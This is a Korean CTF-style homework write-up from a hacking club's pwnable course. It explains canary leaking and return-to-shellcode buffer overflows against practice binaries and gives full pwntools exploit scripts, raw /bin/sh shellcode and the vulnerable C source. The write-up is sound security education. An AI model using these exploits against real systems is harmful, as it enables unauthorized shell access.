본문 바로가기

Layer7

Layer7 - 포너블 3차시 과제

 

0솔브 방지 문제

 

 

버퍼주소 그냥 주니까 딱봐도 쉘코드 넣는거다. 함수 시작부분을 보면 알겠지만 v5에 무슨 값을 넣고

 

 

어셈으로 보면 이렇다.

 

 

이 값은 에필로그에서 변조되었는지 비교한다. 카나리가 걸려있는 것이다. 따라서 카나리를 leak해야 한다.

 

 

입력을 두번 줄 수 있고 심지어 첫번째 입력은 출력까지 해준다. 버퍼가 꽉찼을때 카나리가 leak되는걸 방지하기 위해서 카나리의 첫번째 바이트는 항상 NULL인데 딱 그 널까지만 덮어주면 카나리가 같이 딸려서 출력이 된다. 릭했으면 그 카나리 이용해서 return to shellcode하면 된다.

 

from pwn import *

context.arch = "amd64"

r = remote("pwn.scalart.me", 9001)

r.recvuntil("addr : ")
buf = int(r.recv(14), 16)
log.info(hex(buf))

r.sendafter(">>>", b"a"*0x59)

r.recvuntil(b"a"*0x59)
canary = u64(r.recv(7).rjust(8, b"\x00"))
log.info(hex(canary))

sh = asm(shellcraft.execve("/bin/sh\x00", 0, 0))

r.sendlineafter(b">>>", sh+b"a"*(0x58-len(sh))+p64(canary)+p64(0)+p64(buf))

r.interactive()

 

 

D0 Y0u ShellC0de?

 

 

버퍼의 주소를 릭할 수 있는 기능과 버퍼를 출력할 수 있는 기능, 그리고 bof를 일으키는 기능이 있다. 마찬가지로 카나리의 널바이트 덮어서 릭한다음 return to shellcode해주면 된다.

 

 

카나리 오프셋이 ebp-0xc니까 적당히 맞춰주면 된다.

from pwn import *

r = remote("pwn.scalart.me", 9002)

context.arch = "x86"

r.sendlineafter(">>>", "3")

r.recvuntil("Buf : ")
buf = int(r.recv(10), 16)
log.info(hex(buf))

r.sendlineafter(">>>", "1")
r.send(b"a"*0x3ed)
r.sendlineafter(">>>", "2")
r.recvuntil(b"a"*0x3ed)
canary = u32(r.recv(3).rjust(4, b"\x00"))
log.info(hex(canary))

sh = asm(shellcraft.execve("/bin/sh\x00", 0, 0))

r.sendlineafter(">>>", "1")
r.send(sh+b"a"*(0x3ec-len(sh))+p32(canary)+b"a"*0xc+p32(buf))

r.sendlineafter(">>>", "4")

r.interactive()

 

 

Oh..Sorry...

 

 

문제 구성된게 똑같길래 전에 작성했던 페이로드 그대로 날렸는데 터졌다. 자세히 보니까 printf에서 스택이 아닌 그냥 상수를 출력해주고 있었다. 그래서 쉘코드를 쓰는게 아니라는 생각을 했고

 

 

문제에서 주는 openShell함수를 발견하고 여기로 뛰었다.

 

 

Return to Shellcode

 

 

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

C코드를 주는데 맨 위에 컴파일 옵션을 보면 스택에 실행권한을 준다. 그리고 친절하게 오프셋을 알려준다. 그리고 앞의 문제들과 마찬가지로 카나리를 릭할 수 있는 기회를 주고 마지막을 bof로 장식한다. 따라서 return to shellcode하면 된다.

 

 

아이다로 보면 오프셋을 더 자세히 볼 수 있다.

 

from pwn import *

r = remote("host3.dreamhack.games", 19300)
#r = process("./r2s")

r.recvuntil(": ")

stack = int(r.recv(14), 16)
log.info(hex(stack))

r.sendafter("Input: ", b"a"*0x59)

r.recvuntil(b"a"*0x59)

canary = u64(r.recv(7).rjust(8, b"\x00"))
log.info(hex(canary))

shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b"\x90"*(0x58-len(shellcode))+shellcode+p64(canary)+b"a"*8+p64(stack)

r.sendlineafter("Input: ", payload)

r.interactive()

 

 

'Layer7' 카테고리의 다른 글

PLT, GOT, x64 or x86 RTL  (0) 2022.10.05
Layer7 - 포너블 4차시 과제  (0) 2022.10.05
Layer7 - 포너블 2차시 수업 + 과제  (0) 2022.10.04
Layer7 - 포너블 1차시 과제  (0) 2022.10.04
Layer7 - 포너블 1차시 수업  (0) 2022.10.04